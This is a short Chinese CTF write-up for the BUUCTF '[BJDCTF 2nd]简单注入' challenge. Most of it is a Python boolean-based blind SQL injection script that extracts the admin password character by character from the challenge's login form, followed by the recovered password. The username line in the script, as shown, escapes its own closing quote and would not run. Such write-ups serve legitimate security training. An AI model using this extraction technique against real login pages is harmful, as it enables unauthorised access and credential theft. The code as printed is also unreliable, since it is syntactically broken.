buuctf-[BJDCTF 2nd]简单注入

打开环境，发现是个登录界面，当然，可以向sql注入方向去思考了。

访问robots.txt得到提示:hint.txt，访问hint.txt

 嘶~，还是直接上脚本吧

import requests
url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php"

data = {"username":"admin\","password":""}
result = ""
i = 0

while( True ):
    i = i + 1 
    head=32
    tail=127

    while( head < tail ):
        mid = (head + tail) >> 1

        #payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
        payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
        
        data['password'] = payload
        r = requests.post(url,data=data)

        if "stronger" in r.text :
            head = mid + 1
        else:
            tail = mid
    
    last = result
    
    if head!=32:
        result += chr(head)
    else:
        break
    print(result)

这样就能将密码跑出来

 然后用户名：admin；密码：OhyOuFOuNdit

登录上去就可以拿到flag

感谢大佬提供的脚本